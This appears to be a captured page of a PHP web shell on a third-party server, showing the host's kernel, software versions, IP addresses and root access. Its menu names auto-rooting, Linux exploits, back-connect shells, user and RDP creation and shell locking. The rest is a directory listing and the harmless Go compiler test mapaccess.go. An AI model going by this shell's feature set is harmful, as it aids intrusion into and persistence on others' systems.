Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
test /
codegen /
[ HOME SHELL ]
Name
Size
Permission
Action
README
5.15
KB
-rw-r--r--
alloc.go
902
B
-rw-r--r--
arithmetic.go
10.67
KB
-rw-r--r--
bitfield.go
5.54
KB
-rw-r--r--
bits.go
5.18
KB
-rw-r--r--
compare_and_branch.go
2.81
KB
-rw-r--r--
comparisons.go
5.04
KB
-rw-r--r--
condmove.go
3.14
KB
-rw-r--r--
copy.go
1.72
KB
-rw-r--r--
floats.go
3.06
KB
-rw-r--r--
issue22703.go
5.43
KB
-rw-r--r--
issue25378.go
433
B
-rw-r--r--
issue31618.go
504
B
-rw-r--r--
issue33580.go
459
B
-rw-r--r--
mapaccess.go
9.21
KB
-rw-r--r--
maps.go
2.77
KB
-rw-r--r--
math.go
4.54
KB
-rw-r--r--
mathbits.go
12.75
KB
-rw-r--r--
memcombine.go
22.58
KB
-rw-r--r--
memops.go
1.43
KB
-rw-r--r--
noextend.go
5.57
KB
-rw-r--r--
race.go
581
B
-rw-r--r--
rotate.go
2.51
KB
-rw-r--r--
shift.go
2.62
KB
-rw-r--r--
slices.go
3.36
KB
-rw-r--r--
stack.go
2.96
KB
-rw-r--r--
strings.go
2.03
KB
-rw-r--r--
structs.go
905
B
-rw-r--r--
switch.go
409
B
-rw-r--r--
zerosize.go
537
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mapaccess.go
// asmcheck // Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package codegen // These tests check that mapaccess calls are not used. // Issues #23661 and #24364. func mapCompoundAssignmentInt8() { m := make(map[int8]int8, 0) var k int8 = 0 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] += 67 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] -= 123 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] *= 45 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] |= 78 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] ^= 89 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] <<= 9 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] >>= 10 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]++ // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]-- } func mapCompoundAssignmentInt32() { m := make(map[int32]int32, 0) var k int32 = 0 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] += 67890 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] -= 123 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] *= 456 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] |= 78 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] ^= 89 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] <<= 9 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] >>= 10 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]++ // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]-- } func mapCompoundAssignmentInt64() { m := make(map[int64]int64, 0) var k int64 = 0 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] += 67890 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] -= 123 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] *= 456 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] |= 78 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] ^= 89 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] <<= 9 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] >>= 10 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]++ // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]-- } func mapCompoundAssignmentComplex128() { m := make(map[complex128]complex128, 0) var k complex128 = 0 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] += 67890 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] -= 123 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] *= 456 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]++ // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k]-- } func mapCompoundAssignmentString() { m := make(map[string]string, 0) var k string = "key" // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] += "value" } var sinkAppend bool // TODO: optimization is not applied because of mapslow flag. func mapAppendAssignmentInt8() { m := make(map[int8][]int8, 0) var k int8 = 0 // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k], 1) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k], 1, 2, 3) a := []int8{7, 8, 9, 0} // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k], a...) // Exceptions // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(a, m[k]...) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" sinkAppend, m[k] = !sinkAppend, append(m[k], 99) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k+1], 100) } func mapAppendAssignmentInt32() { m := make(map[int32][]int32, 0) var k int32 = 0 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], 1) // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], 1, 2, 3) a := []int32{7, 8, 9, 0} // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], a...) // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k+1] = append(m[k+1], a...) // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[-k] = append(m[-k], a...) // Exceptions // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(a, m[k]...) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" sinkAppend, m[k] = !sinkAppend, append(m[k], 99) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k+1], 100) } func mapAppendAssignmentInt64() { m := make(map[int64][]int64, 0) var k int64 = 0 // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], 1) // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], 1, 2, 3) a := []int64{7, 8, 9, 0} // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], a...) // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k+1] = append(m[k+1], a...) // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[-k] = append(m[-k], a...) // Exceptions // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(a, m[k]...) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" sinkAppend, m[k] = !sinkAppend, append(m[k], 99) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k+1], 100) } // TODO: optimization is not applied because of mapslow flag. func mapAppendAssignmentComplex128() { m := make(map[complex128][]complex128, 0) var k complex128 = 0 // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k], 1) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k], 1, 2, 3) a := []complex128{7, 8, 9, 0} // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k], a...) // Exceptions // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(a, m[k]...) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" sinkAppend, m[k] = !sinkAppend, append(m[k], 99) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k+1], 100) } func mapAppendAssignmentString() { m := make(map[string][]string, 0) var k string = "key" // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], "1") // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], "1", "2", "3") a := []string{"7", "8", "9", "0"} // 386:-".*mapaccess" // amd64:-".*mapaccess" // arm:-".*mapaccess" // arm64:-".*mapaccess" m[k] = append(m[k], a...) // Exceptions // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(a, m[k]...) // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" sinkAppend, m[k] = !sinkAppend, append(m[k], "99") // 386:".*mapaccess" // amd64:".*mapaccess" // arm:".*mapaccess" // arm64:".*mapaccess" m[k] = append(m[k+"1"], "100") }
Close